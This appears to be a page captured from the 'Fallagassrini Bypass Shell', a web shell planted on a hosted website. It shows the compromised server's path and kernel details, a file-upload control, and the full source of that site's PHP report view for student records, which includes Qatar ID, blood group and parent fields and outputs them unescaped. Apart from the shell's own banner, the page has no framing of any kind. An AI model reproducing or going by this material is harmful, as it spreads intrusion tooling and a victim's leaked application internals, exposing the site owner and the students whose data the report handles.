? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sec_old/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sec_old/application/views/report/xls_batch_allocation_report.php

<?php if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$html = '';
if ($view != 'view') {
    $border = "";
    $html = '<html><head><body>';
    $html.='<table width="100%">
        <tr><td colspan="2"></td><td align="right"><img src="' . base_url() . 'assets/images/logo.gif" style="float:right;width:200px;"/></td>
        <tr><td colspan="3" style="font-size:16px;" align="center"><b><u>' . $postdata['report_name'] . '</u></b></td></tr>
          
        <tr><td colspan="3">Printout Date : ' . date('d-m-Y') . ', ' . date('h:i:s a') . '</td></tr>
        </table><br><br>';
} else {
    
    $html.="<link rel='stylesheet' media='all' type='text/css' href='".base_url()."/assets/css/tablesort.css' />
        <div style='width: 100%;border:1px solid #e4e4e4;padding:2px;height: auto;overflow-x: scroll;'>";
}
if ($view != 'xls') {
    $border = "border='1'";
}
$html.='<table  cellspacing="0px" cellpading="5px"  class="sort" ' . $border . ' style="width:100%;text-align:left">
        <thead>
        <tr>
        <th colspan="' . ($postdata['field_count'] + 1) . '"><hr></th>
        </tr>
        <tr><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>';
$i = 1;
while ($i <= $postdata['field_count']) {
    if (isset($postdata['field_name_' . $i])) {
        $column_name = explode('~', $postdata['field_name_' . $i]);
        $html .= '<th style="text-align:left" bgcolor="#7FCEFF">' . str_replace('_', ' ', $column_name[1]) . '</th>';
    }
    $i++;
}
$html.='<th style="text-align:left" bgcolor="#7FCEFF">Student Type</th>';
$html.='</tr>
        </thead>
        <tbody>';

$i = 0;
foreach ($report as $value) {
    $i++;
    $count = 1;
    $rowspan = "";
    if (isset($postdata['field_name_5']) || isset($postdata['field_name_6']) || isset($postdata['field_name_7'])) {
        $count = $value['count'];
        $rowspan = 'rowspan="' . $count . '"';
        $course = explode(',', $value['course']);
        $course_name = explode(',', $value['course_name']);
        $batch = explode(',', $value['batch']);
        $date = explode(',', $value['allo_date']);
    }

    $html.='<tr>
        <td ' . $rowspan . '>' . $i . '</td>';

    if (array_key_exists('field_name_1', $postdata))
        $html.='<td ' . $rowspan . '>' . $value['reg_no'] . '</td>';
    if (array_key_exists('field_name_2', $postdata))
        $html.='<td ' . $rowspan . '>' . $value['first_name'] . '</td>';

    if (array_key_exists('field_name_3', $postdata))
        $html.='<td ' . $rowspan . '>' . $value['last_name'] . '</td>';

    if (array_key_exists('field_name_4', $postdata))
        $html.='<td ' . $rowspan . '>' . $value['gender'] . '</td> ';



    for ($k = 0; $k < $count; $k++) {

        if ($k > 0) {
            $html.='<tr>';
        }
        if (array_key_exists('field_name_5', $postdata)) {
            $html.='<td>' . $batch[$k] . '</td> ';
        }
        if (array_key_exists('field_name_6', $postdata)) {
            $html.='<td>' . $course[$k] . '</td> ';
        }
        if (array_key_exists('field_name_7', $postdata)) {
            $html.='<td>' . $course_name[$k] . '</td> ';
        }

        if (array_key_exists('field_name_8', $postdata)) {
            $html.='<td>' . $this->mastermodel->convertdatenormalformat($date[$k]) . '</td> ';
        }


        if ($k == 0) {

            if (array_key_exists('field_name_9', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['nationality'] . '</td> ';

            if (array_key_exists('field_name_10', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['school_name'] . '</td> ';
            if (array_key_exists('field_name_11', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['grade_name'] . '</td> ';
            if (array_key_exists('field_name_12', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['qatar_id'] . '</td> ';


            if (array_key_exists('field_name_13', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['blood_group'] . '</td> ';
            if (array_key_exists('field_name_14', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['address'] . '</td> ';

            if (array_key_exists('field_name_15', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['email'] . '</td> ';

            if (array_key_exists('field_name_16', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['mobile_no'] . '</td> ';
            if (array_key_exists('field_name_17', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['father_name'] . '</td> ';
            if (array_key_exists('field_name_18', $postdata))
                $html.='<td ' . $rowspan . '>' . $value['mother_name'] . '</td> ';


            $html.='<td ' . $rowspan . '>' . $postdata['student_type'] . '</td> ';
        }
        $html.='</tr>';
    }
}

$html.='</tbody></table>';
$html.='<hr>';

if ($view == 'view') {
    $html.="</div>";
    echo $html;
} else {

    $html.='</body></html>';
//echo $html;
    $filename = $postdata['report_name'];
    if ($view == 'xls') {
        header("Content-type: application/octet-stream");
        header("Content-Disposition: attachment; filename=" . $filename . ".xls");
        header("Pragma: no-cache");
        header("Expires: 0");
    }
    if ($view == 'pdf') {
        pdf_create($html, 'BatchAllocationReport');
    }
    print $html;
    exit;
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net